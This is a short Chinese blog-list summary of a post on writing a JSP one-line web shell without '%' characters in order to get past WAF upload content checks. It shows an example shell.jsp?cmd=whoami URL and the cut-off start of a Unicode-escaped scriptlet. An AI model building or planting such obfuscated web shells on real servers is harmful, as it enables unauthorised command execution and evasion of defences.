2020年6月20日
JSP无%%号命令执行一句话
摘要： ###JSP无%%号命令执行一句话 利用场景:WAF 禁止用户上传可执行文件，进行了文件内容判断。 后续自己回来做点其他的版本。 example:http://127.0.0.1/shell.jsp?cmd=whoami win: <jsp:scriptlet> if(\u0072\u0065\u0 阅读全文
posted @ 2020-06-20 11:28 0xdd 阅读(895) 评论(0) 推荐(0) 编辑